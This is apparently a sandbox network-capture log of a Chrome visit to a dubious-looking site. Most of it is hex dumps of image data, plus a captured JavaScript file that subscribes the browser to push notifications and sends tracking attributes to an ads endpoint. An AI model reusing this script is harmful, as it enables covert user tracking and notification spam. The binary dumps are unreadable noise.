2025-01-08 14:44:41 UTC	1369	IN	Data Raw: ba b7 7d 0a 9d 5f b3 7b 15 88 0e 02 08 fd 1d 7e ac 53 f5 c4 8d cc b4 f0 a4 0f 6b d8 5f 4e e6 6e 60 6b 58 c7 11 b9 ad 9d fe cd bf a2 77 f2 d1 dd 8e f0 d7 64 bd 86 f7 58 f8 65 7a b4 97 c7 f8 66 7e 6d 5f d5 44 77 4d 73 5a 6c 60 d9 48 12 d0 5b b9 ad 1f 9d c9 6b 9d fc 9d ea 39 6e aa a6 55 63 5c f7 0a 1e 03 98 66 cd ad d1 ce b9 c7 46 b1 df 9b 5e c5 24 79 89 1b 1a 46 fa c7 f2 59 2e 5e 23 51 ea a3 ea b3 fd 5f 98 ff 00 75 6a fa 5f 54 cb 61 c8 fb 41 ad d9 00 b6 9a 80 20 16 8d 7d 8c 73 7d 9e cf ed a1 e1 0b 72 d8 31 1e d7 d9 65 41 d6 6d 71 21 af 13 b9 fe ab dd b5 be b5 51 fc e7 f8 45 af f6 a6 75 0b 19 99 43 de d6 97 43 da 4c 6d 2d fc cf 69 fc df e4 2c eb fa 88 cf ea 2c b6 9b 3d 26 b5 a0 97 59 2d 9d 87 fc 33 fd d5 ec c8 fe af d3 51 81 c4 48 23 7d ff 00 aa c9 29 18 01 Data Ascii: }_{~Sk_Nn`kXwdXezf~m_DwMsZl`H[k9nUc\fF^$yFY.^#Q_uj_TaA }s}r1eAmq!QEuCCLm-i,,=&Y-3QH#})
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 6e 74 53 69 78 74 65 65 6e 42 69 74 62 6f 6f 6c 00 00 00 00 0b 70 72 69 6e 74 65 72 4e 61 6d 65 54 45 58 54 00 00 00 01 00 00 00 00 00 0f 70 72 69 6e 74 50 72 6f 6f 66 53 65 74 75 70 4f 62 6a 63 00 00 00 0c 00 50 00 72 00 6f 00 6f 00 66 00 20 00 53 00 65 00 74 00 75 00 70 00 00 00 00 00 0a 70 72 6f 6f 66 53 65 74 75 70 00 00 00 01 00 00 00 00 42 6c 74 6e 65 6e 75 6d 00 00 00 0c 62 75 69 6c 74 69 6e 50 72 6f 6f 66 00 00 00 09 70 72 6f 6f 66 43 4d 59 4b 00 38 42 49 4d 04 3b 00 00 00 00 02 2d 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 17 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 00 00 00 00 52 67 73 4d 62 6f 6f 6c 00 00 00 00 00 43 72 6e 43 62 6f 6f 6c 00 00 00 Data Ascii: ntSixteenBitboolprinterNameTEXTprintProofSetupObjcProof SetupproofSetupBltnenumbuiltinProofproofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCbool
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 63 65 00 00 00 12 00 00 00 07 73 6c 69 63 65 49 44 6c 6f 6e 67 00 00 00 00 00 00 00 07 67 72 6f 75 70 49 44 6c 6f 6e 67 00 00 00 00 00 00 00 06 6f 72 69 67 69 6e 65 6e 75 6d 00 00 00 0c 45 53 6c 69 63 65 4f 72 69 67 69 6e 00 00 00 0d 61 75 74 6f 47 65 6e 65 72 61 74 65 64 00 00 00 00 54 79 70 65 65 6e 75 6d 00 00 00 0a 45 53 6c 69 63 65 54 79 70 65 00 00 00 00 49 6d 67 20 00 00 00 06 62 6f 75 6e 64 73 4f 62 6a 63 00 00 00 01 00 00 00 00 00 00 52 63 74 31 00 00 00 04 00 00 00 00 54 6f 70 20 6c 6f 6e 67 00 00 00 00 00 00 00 00 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 00 42 74 6f 6d 6c 6f 6e 67 00 00 00 96 00 00 00 00 52 67 68 74 6c 6f 6e 67 00 00 00 96 00 00 00 03 75 72 6c 54 45 58 54 00 00 00 01 00 00 00 00 00 00 6e 75 6c 6c 54 45 58 54 00 00 00 01 00 Data Ascii: cesliceIDlonggroupIDlongoriginenumESliceOriginautoGeneratedTypeenumESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXT
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: f6 13 e4 38 72 c6 63 6c bf ab 98 fe b4 44 a7 8f 27 fd c4 ff 00 f5 da d8 fa b1 ca 27 7c 5e b1 e4 4f 0c a0 e9 75 4c 7f b3 e5 8b 99 a3 6d 32 0f 81 99 ff 00 a1 67 bd 6c e3 de 32 28 6d a3 42 e1 ee 1e 0e 1a 3d bf e7 2a 79 78 57 65 63 ed 30 6c 69 dc d6 f1 32 21 cd 95 9f d3 ba 81 c6 bf d2 b1 df a3 71 0d b2 74 8f cc 65 bf d6 6b bf 47 72 65 fb 59 c8 3f cd e7 37 13 d0 73 1f a7 0f fa ac 63 c5 fd f5 d5 ee 62 04 7c f8 85 11 fe ab f4 65 fe 03 2e bc c1 4d cd c9 da 76 ba 37 78 6e 6e 8e 1f db ad 4f 13 a9 63 db 82 d8 2d 7b ea 1b 1c 4f 80 fe 6d ff 00 da 62 d2 c8 34 d8 df 46 ed ae 63 f4 2d 9d 64 7e ef f5 57 19 9f 98 3a 66 4b f6 9a da fa dc 60 c6 8e 9d 5b ed fd cb 5a 94 ff 00 55 94 e4 ab 86 5e 18 e4 fe a4 c7 a6 19 3f bb fa 13 5d 01 ee e3 18 f6 9e 3e 29 43 fa f1 f9 a5 0f fb a8 Data Ascii: 8rclD''\|^OuLm2gl2(mB=*yxWec0li2!qtekGreY?7scb\|e.Mv7xnnOc-{Omb4Fc-d~W:fK`[ZU^?]>)C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49778	104.21.13.162	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:39 UTC	586	OUT	GET /scripts/push/script/64d5p99gj0?url=duennasustentation.online HTTP/1.1 Host: trk-quantivex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:40 UTC	1343	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:40 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: 0 Cache-Control: max-age=14400, must-revalidate X-XSS-Protection: 1; mode=block Pragma: no-cache X-Frame-Options: SAMEORIGIN Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff Permissions-Policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() CF-Cache-Status: HIT Age: 564 Last-Modified: Wed, 08 Jan 2025 14:35:16 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z59gJduhCeHZZKYPJCJJguICOfSUnlHTLny0G96jWbKWfGtfwU%2FZeqMWXNuyJwJF87gXGdoHMPHEgoZNcFV8YF8vo4rlhQideTiy89TzCyVfJCX3aBzd%2B1k2hr3laS8RWEnGWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-08 14:44:40 UTC	276	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 65 63 66 37 38 36 33 63 61 38 36 61 35 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 36 36 34 26 6d 69 6e 5f 72 74 74 3d 31 36 35 36 26 72 74 74 5f 76 61 72 3d 36 33 37 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 33 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 36 34 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 36 39 34 37 31 38 26 63 77 6e 64 3d 32 30 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 32 64 32 37 36 66 37 31 61 35 66 Data Ascii: CF-RAY: 8fecf7863ca86a5b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1664&min_rtt=1656&rtt_var=637&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1164&delivery_rate=1694718&cwnd=209&unsent_bytes=0&cid=2d276f71a5f
2025-01-08 14:44:40 UTC	1119	IN	Data Raw: 31 66 63 63 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 63 6f 6e 73 74 20 73 6d 50 75 73 68 41 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 50 75 62 6c 69 63 4b 65 79 3d 22 42 4f 70 38 6c 7a 5f 45 63 47 31 41 42 5f 4d 38 69 2d 42 54 34 72 42 75 54 55 38 59 7a 6d 70 4d 30 34 48 72 36 69 31 75 63 73 38 37 38 6f 34 69 50 4c 47 5a 41 39 53 6a 47 32 69 73 68 58 67 75 65 43 65 46 5f 34 44 6b 69 4a 70 4c 34 6f 38 43 6c 6a 37 54 6b 35 4d 3d 22 2c 73 6d 50 75 73 68 53 69 74 65 49 64 3d 22 36 34 64 35 31 39 71 6a 67 6a 22 2c 73 6d 43 6c 69 65 6e 74 49 64 3d 22 36 34 64 35 70 39 39 67 6a 30 22 2c 73 65 72 76 69 63 65 57 6f 72 6b 65 72 3d 22 2f 73 65 72 76 69 63 65 2d 77 6f 72 6b 65 72 2e 6a 73 22 3b 6c 65 74 20 73 6d 50 75 73 68 44 6f 6d 61 69 6e 3d 22 70 75 73 Data Ascii: 1fcc'use strict';const smPushApplicationServerPublicKey="BOp8lz_EcG1AB_M8i-BT4rBuTU8YzmpM04Hr6i1ucs878o4iPLGZA9SjG2ishXgueCeF_4DkiJpL4o8Clj7Tk5M=",smPushSiteId="64d519qjgj",smClientId="64d5p99gj0",serviceWorker="/service-worker.js";let smPushDomain="pus
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 65 64 69 61 49 64 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 6d 74 2c 62 2e 6d 74 29 2c 61 2e 75 74 6d 53 6f 75 72 63 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 75 74 6d 5f 73 6f 75 72 63 65 2c 62 2e 75 74 6d 5f 73 6f 75 72 63 65 29 2c 61 2e 75 74 6d 4d 65 64 69 75 6d 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 75 74 6d 5f 6d 65 64 69 75 6d 2c 62 2e 75 74 6d 5f 6d 65 64 69 75 6d 29 2c 61 2e 75 74 6d 4d 65 64 69 75 6d 3d 73 65 74 49 66 4e 75 6c 6c 28 61 2e 75 74 6d 4d 65 64 69 75 6d 2c 62 2e 73 6f 75 72 63 65 5f 6f 6e 65 29 2c 61 2e 75 74 6d 43 61 6d 70 61 69 67 6e 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 75 74 6d 5f 63 61 6d 70 61 69 67 6e 2c 62 2e 75 74 6d 5f 63 61 6d 70 61 69 67 6e 29 2c 61 2e 73 6f 75 72 Data Ascii: ediaId=setIfNull(utmObj.mt,b.mt),a.utmSource=setIfNull(utmObj.utm_source,b.utm_source),a.utmMedium=setIfNull(utmObj.utm_medium,b.utm_medium),a.utmMedium=setIfNull(a.utmMedium,b.source_one),a.utmCampaign=setIfNull(utmObj.utm_campaign,b.utm_campaign),a.sour
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 5f 73 75 62 73 63 72 69 62 65 28 29 7b 6e 61 76 69 67 61 74 6f 72 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 2e 72 65 61 64 79 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 70 75 73 68 4d 61 6e 61 67 65 72 2e 67 65 74 53 75 62 73 63 72 69 70 74 69 6f 6e 28 29 2e 74 68 65 6e 28 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 69 66 28 21 62 26 26 22 64 65 6e 69 65 64 22 21 3d 3d 4e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 70 65 72 6d 69 73 73 69 6f 6e 29 7b 63 6f 6e 73 74 20 62 3d 75 72 6c 42 61 73 65 36 34 54 6f 55 69 6e 74 38 41 72 72 61 79 28 73 6d 50 75 73 68 41 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 50 75 62 6c 69 63 4b 65 79 29 3b 72 65 74 75 72 6e 20 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 73 75 62 73 63 Data Ascii: _subscribe(){navigator.serviceWorker.ready.then(function(a){return a.pushManager.getSubscription().then(async function(b){if(!b&&"denied"!==Notification.permission){const b=urlBase64ToUint8Array(smPushApplicationServerPublicKey);return logPushEvent("subsc
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 74 69 6f 6e 49 64 2c 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 26 26 61 2e 70 75 74 28 62 29 2c 61 2e 70 75 74 28 63 29 2c 66 65 74 63 68 28 74 61 62 6f 6f 6c 61 55 72 6c 29 2e 74 68 65 6e 28 61 3d 3e 61 2e 6a 73 6f 6e 28 29 29 2e 74 68 65 6e 28 61 3d 3e 7b 61 2e 75 73 65 72 26 26 61 2e 75 73 65 72 2e 69 64 3f 67 65 74 53 74 6f 72 65 28 62 3d 3e 62 2e 70 75 74 28 7b 6e 61 6d 65 3a 22 75 73 65 72 49 64 22 2c 76 61 6c 75 65 3a 7b 74 61 62 6f 6f 6c 61 3a 61 2e 75 73 65 72 2e 69 64 7d 7d 29 29 3a 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 74 61 62 6f 6f 6c 61 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 22 2c 22 4e 6f 20 75 73 65 72 20 69 64 22 2c 76 65 72 73 69 6f 6e 29 7d 29 2e 63 61 74 63 68 28 61 3d 3e 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 Data Ascii: tionId,smPushSubscriptionId&&a.put(b),a.put(c),fetch(taboolaUrl).then(a=>a.json()).then(a=>{a.user&&a.user.id?getStore(b=>b.put({name:"userId",value:{taboola:a.user.id}})):logPushEvent("taboola_request_error","No user id",version)}).catch(a=>{console.log(
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 61 2e 75 74 6d 53 6f 75 72 63 65 2c 75 74 6d 4d 65 64 69 75 6d 3a 61 2e 75 74 6d 4d 65 64 69 75 6d 2c 75 74 6d 43 61 6d 70 61 69 67 6e 3a 61 2e 75 74 6d 43 61 6d 70 61 69 67 6e 7d 2c 67 65 74 53 74 6f 72 65 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 63 3d 7b 6e 61 6d 65 3a 22 70 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 22 7d 3b 63 2e 76 61 6c 75 65 3d 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 2c 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 26 26 61 2e 70 75 74 28 63 29 2c 61 2e 70 75 74 28 62 29 7d 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 53 65 72 76 69 63 65 20 57 6f 72 6b 65 72 20 45 72 72 6f 72 22 2c 61 29 2c 70 75 73 68 4c 6f 67 67 Data Ascii: a.utmSource,utmMedium:a.utmMedium,utmCampaign:a.utmCampaign},getStore(function(a){let c={name:"pushSubscriptionId"};c.value=smPushSubscriptionId,smPushSubscriptionId&&a.put(c),a.put(b)})}).catch(function(a){console.error("Service Worker Error",a),pushLogg
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 61 29 2c 70 75 73 68 4c 6f 67 67 69 6e 67 26 26 22 68 74 74 70 73 3a 22 3d 3d 3d 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 73 77 5f 72 65 67 69 73 74 65 72 5f 65 72 72 6f 72 22 2c 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2b 22 20 65 72 72 6f 72 3a 22 2b 61 2c 76 65 72 73 69 6f 6e 29 7d 29 29 3a 28 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 50 75 73 68 20 6d 65 73 73 61 67 69 6e 67 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 29 2c 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 6e 6f 74 5f 73 75 70 70 6f 72 74 65 64 22 2c 22 6e 6f 74 5f 73 75 70 70 6f 72 74 65 64 22 2c 76 65 72 73 69 6f 6e 29 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 53 65 73 73 69 6f 6e 49 64 28 61 29 7b 22 73 65 72 76 69 63 65 57 Data Ascii: a),pushLogging&&"https:"===location.protocol&&logPushEvent("sw_register_error",location.href+" error:"+a,version)})):(console.warn("Push messaging is not supported"),logPushEvent("not_supported","not_supported",version))}function setSessionId(a){"serviceW
2025-01-08 14:44:40 UTC	184	IN	Data Raw: 75 62 73 63 72 69 70 74 69 6f 6e 5f 69 64 3d 63 3b 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 22 2b 73 75 62 73 63 72 69 70 74 69 6f 6e 44 6f 6d 61 69 6e 2b 22 2f 61 64 73 2d 61 70 69 2f 61 74 74 72 69 62 75 74 65 73 22 2c 7b 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 2c 62 6f 64 79 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 64 61 74 61 3a 61 7d 29 2c 68 65 61 64 65 72 73 3a 7b 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 7d 7d 29 7d 63 61 74 63 68 28 61 29 7b 7d 7d 29 7d 29 7d 0a 0d 0a Data Ascii: ubscription_id=c;fetch("https://"+subscriptionDomain+"/ads-api/attributes",{method:"POST",body:JSON.stringify({data:a}),headers:{"Content-type":"application/json"}})}catch(a){}})})}
2025-01-08 14:44:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49779	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:40 UTC	427	OUT	GET /images/loadingRD.gif HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:41 UTC	1056	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:41 GMT Content-Type: image/gif Content-Length: 124490 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2953-1e64a" expires: Wed, 08 Jan 2025 14:44:40 GMT last-modified: Tue, 07 Jan 2025 13:17:07 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MQfcOaGoLDJuQuFDaM3ElwRwpvyo7kDXcqfbqdFGFBfOZV5QGm3xymu4giX4XawTBT%2B70fyKZDuqUKH%2BVJa%2BMAOsqwHLD6MGal77dqyM14pTCB1qdcwN3lZcYVEXlt%2B6%2FNecVI%2Faq61Oykg1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf78878af729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1830&min_rtt=1818&rtt_var=690&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2870&recv_bytes=1005&delivery_rate=1606160&cwnd=169&unsent_bytes=0&cid=192860f290c646b7&ts=1057&x=0"
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 47 49 46 38 39 61 b8 00 b6 00 f7 00 00 00 00 00 ff ff ff c9 83 86 ca 8a 93 cb 91 9f cc 99 a9 ce a1 b2 d0 ac ba db cd d3 d2 ae c0 d5 b8 c7 d7 c0 cc da c3 d1 e5 db e1 dc c9 d5 df cd d8 e0 d0 da e2 d5 dd e2 d7 de e2 d2 dd e5 d5 e1 ed e9 ec e8 e4 e7 e6 e2 e5 e6 dd e4 e7 dd e5 e5 d9 e3 f2 ec f1 e6 e0 e5 e7 d8 e5 e6 d8 e4 f4 ed f3 e8 e1 e7 e7 e0 e6 ea d9 e8 e7 d7 e5 e6 dd e5 f2 e9 f1 e7 de e6 f3 eb f2 f0 e8 ef f1 e6 f0 ee e3 ed e8 de e7 ed e3 ec e9 df e8 ea db e9 e9 da e8 e7 d8 e6 eb dd ea eb de ea e9 dc e8 e8 db e7 e7 db e6 e8 d8 e7 f4 eb f4 f3 ea f3 ea e2 ea f4 ed f4 ed e6 ed eb e4 eb e9 e2 e9 f6 f0 f6 f3 ed f3 f9 f4 f9 eb e6 eb fc f8 fc f7 f3 f7 f1 ed f1 ee ea ee eb e7 eb e9 e5 e9 e8 e4 e8 fd fa fd fb f8 fb f8 f5 f8 f4 f1 f4 fe fc fe f6 f4 f6 f3 f1 f3 eb e9 Data Ascii: GIF89a
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 41 c0 36 77 c2 60 d3 f1 75 24 b2 ca 66 8b 5d 80 61 9d 90 ea b3 0a 29 91 c2 96 d8 6a 6b ee b2 d2 b1 90 9a 8f df fa aa 0e 10 99 8a 30 e4 b9 f4 be d7 81 0d 1a b2 30 c4 53 f8 55 0a d2 10 fe d5 2b 70 81 09 ea e0 ac bb 3f 44 c7 97 6e da 0d ec 70 6f b9 dd f6 43 bb 80 86 d4 6a a2 0f 67 0c 5f 77 25 b8 e4 ef 14 12 96 ab f1 c8 be 75 a7 c2 5a 07 b7 26 28 c8 d1 d5 39 2f c9 30 7f 46 9a 0a 7d 34 48 e2 63 20 c7 90 db 9c 2f c7 ec f3 68 84 a1 dc 58 95 3c 42 96 97 cf 48 bb d7 02 0b 7d 38 4b 74 4f 4f 37 97 f3 7f 49 57 1d da 08 1d cc 40 73 bb 51 ff 14 11 64 fd 65 86 ef a7 56 23 ad a1 0d 01 b6 90 eb ae 6f f5 aa ce 09 0b 6b 76 76 d9 49 9f 1d 60 70 28 7c 9b f2 4c 7f aa ff f3 03 0b 64 5b 4b 77 d9 07 ca 30 71 93 7d 0a f5 a7 0f d1 75 28 f2 e0 31 1f d8 9d 0f 93 42 d5 23 10 61 7d ea Data Ascii: A6w`u$f]a)jk00SU+p?DnpoCjg_w%uZ&(9/0F}4Hc /hX<BH}8KtOO7IW@sQdeV#okvvI`p(\|Ld[Kw0q}u(1B#a}
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 3b 8b df 58 47 59 d2 b4 82 ea 02 7a 1c 6a 67 6c 83 00 f9 35 d4 74 0e 9d 68 3c e3 99 b3 d5 18 40 b1 3b d3 1d 07 88 03 c9 97 4e ef 33 b0 81 6d 67 47 3a 72 27 4d 80 5b e1 2a d7 b9 4a 63 1b 78 2d 6a 6e ce 76 52 01 d8 b9 c2 16 de ac 34 c2 71 80 71 1f 49 06 0f 38 37 c0 17 bc 6e 02 40 c0 dd 0a 51 c7 9c 33 16 5b 05 4c 15 1b d3 98 86 35 b2 fa 59 4e 4f 74 04 0c f0 86 34 72 ad e8 66 58 43 dc d5 ff ed ed 39 a6 11 dc 6f 13 97 d9 b0 86 73 81 ed a9 5b b3 cd a7 a7 3f 3d 87 50 19 40 01 f9 88 66 02 07 e8 c6 34 e2 7a de b9 3e c3 1a e7 78 00 6f 3c 0d 6a 97 63 58 c3 0b 88 40 47 c1 6b cf c8 fa 4c 8f 26 0d ab 76 8b 1a d3 93 2a 00 1d db 18 7a 5d ad 11 8e 7c b3 12 bb 94 05 74 8d a7 21 ee d7 c2 19 b7 55 87 76 b2 e6 f6 d0 0f 71 68 4e bd 81 c1 0c 76 ec 5f 71 88 63 1c 03 50 b1 8b d2 Data Ascii: ;XGYzjgl5th<@;N3mgG:r'M[Jcx-jnvR4qqI87n@Q3[L5YNOt4rfXC9os[?=P@f4z>xo<jcX@GkL&vz]\|t!UvqhNv_qcP
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 2f 01 12 4a 30 19 41 92 97 8b 92 58 09 62 1a 22 72 80 60 0a a7 53 21 a7 67 72 1e 77 91 17 7b 11 18 88 8a a8 a4 31 1c 87 4f 31 1e 54 fa a7 80 0a 15 54 a1 04 56 81 15 5a c1 15 5f f1 15 61 b1 a9 de c1 02 67 91 16 4b c0 16 6f 1a a9 45 6a 13 48 b1 14 4a e1 14 19 4a aa ac 6a 92 ad 0a a8 c8 a9 10 b0 f9 aa b4 6a 1e 4c 52 ab b8 8a 10 aa 9a ab b5 0a 9e 40 11 a9 01 01 00 21 f9 04 05 03 00 ee 00 2c 04 00 00 00 b0 00 b6 00 00 08 ff 00 dd 09 1c 48 b0 a0 c1 83 08 13 2a 5c c8 50 8a 94 83 01 dc 45 64 38 91 a1 c5 8b 18 33 6a dc c8 b1 23 c1 8a 17 03 88 1c 29 d2 a3 c9 93 28 53 aa 54 08 92 22 c9 91 2b 63 ca 9c 49 73 65 c4 96 35 73 ea dc c9 53 62 cf 9f 40 67 e2 f4 48 32 a8 d1 a3 35 65 b8 53 aa 54 60 53 83 4a d4 49 45 4a b5 6a c5 92 55 05 62 cd ca 55 a6 3a 25 05 5d 1c dd da b5 Data Ascii: /J0AXb"r`S!grw{1O1TTVZ_agKoEjHJJjjLR@!,H*\PEd83j#)(ST"+cIse5sSb@gH25eST`SJIEJjUbU:%]
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 6b 78 c1 50 04 88 87 47 84 0c 91 02 fa d9 0c 2d 81 88 10 67 58 63 5e 1e 70 87 01 ba 21 8d 67 38 c3 8a a3 c3 86 00 1c 30 81 0e 88 26 9b 15 bc 60 06 39 d9 ff 0c 73 7e 90 02 be 39 19 39 0f f2 4e aa c1 8b 02 1a 48 00 3a b6 51 0d 69 38 14 1b e4 18 c0 03 d2 59 10 a0 51 8d 00 99 7c 20 f2 f2 37 0d 72 f4 cf 3e ab 73 e0 26 05 72 00 5d 86 cb 67 80 33 80 00 c6 21 8e 73 10 80 7b 83 1a 9a 0d 28 f0 00 02 74 c3 1a 0e cd e9 35 c4 c1 bd ac 1d 64 1b 87 b4 a1 40 72 07 2f c7 44 20 80 94 a4 1a 40 8f c4 b4 0a 0e 53 00 e5 08 47 38 ba 81 8e 02 d0 d3 7d d8 49 ea 41 1a 68 3c 02 f8 0f 5d 5e ab 1b cc 5c 30 83 17 70 ad a2 18 9a 4e b4 68 ba 00 ca 41 e0 72 2e 20 df 41 12 f0 45 78 12 a4 74 e2 78 00 0c ea e5 ab 9d 9d a6 40 78 e9 40 b4 0c b8 1e 81 48 0b a5 e1 2b a0 5b 72 36 d3 75 82 92 20 Data Ascii: kxPG-gXc^p!g80&`9s~99NH:Qi8YQ\| 7r>s&r]g3!s{(t5d@r/D @SG8}IAh<]^\0pNhAr. AExtx@x@H+[r6u
